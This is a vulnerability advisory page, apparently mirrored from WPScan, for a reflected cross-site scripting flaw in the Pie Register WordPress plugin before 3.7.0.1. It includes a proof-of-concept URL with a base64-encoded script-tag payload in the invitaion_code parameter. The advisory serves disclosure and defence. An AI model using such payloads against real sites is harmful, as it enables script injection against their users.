Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbIohexWPVDB-ID:F1B67F40-642F-451E-A67A-B7487918EE34
HistoryApr 03, 2021 - 12:00 a.m.

Pie Register < 3.7.0.1 - Reflected Cross-Site Scripting (XSS)

2021-04-0300:00:00
iohex
wpscan.com
5
JSON

The plugin does not sanitise the invitaion_code GET parameter when outputting it in the Activation Code page, leading to a reflected Cross-Site Scripting issue.

PoC

https://example.com/wp-admin/admin.php?page=pr_new_registration_form&amp;show;_dash_widget=1&amp;invitaion;_code=PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=

CPENameOperatorVersion
pie-registerlt3.7.0.1

Related

prion 1
nuclei 1
cve 1
wpexploit 1
prion
prion
Cross site scripting
2021-04-22 21:15:00
nuclei
nuclei
WordPress Pie Register <3.7.0.1 - Cross-Site Scripting
2023-03-31 11:28:24
cve
cve
CVE-2021-24239
2021-04-22 21:15:00
wpexploit
wpexploit
Pie Register < 3.7.0.1 - Reflected Cross-Site Scripting (XSS)
2021-04-03 00:00:00
JSON
Related for WPVDB-ID:F1B67F40-642F-451E-A67A-B7487918EE34
prion1nuclei1cve1wpexploit1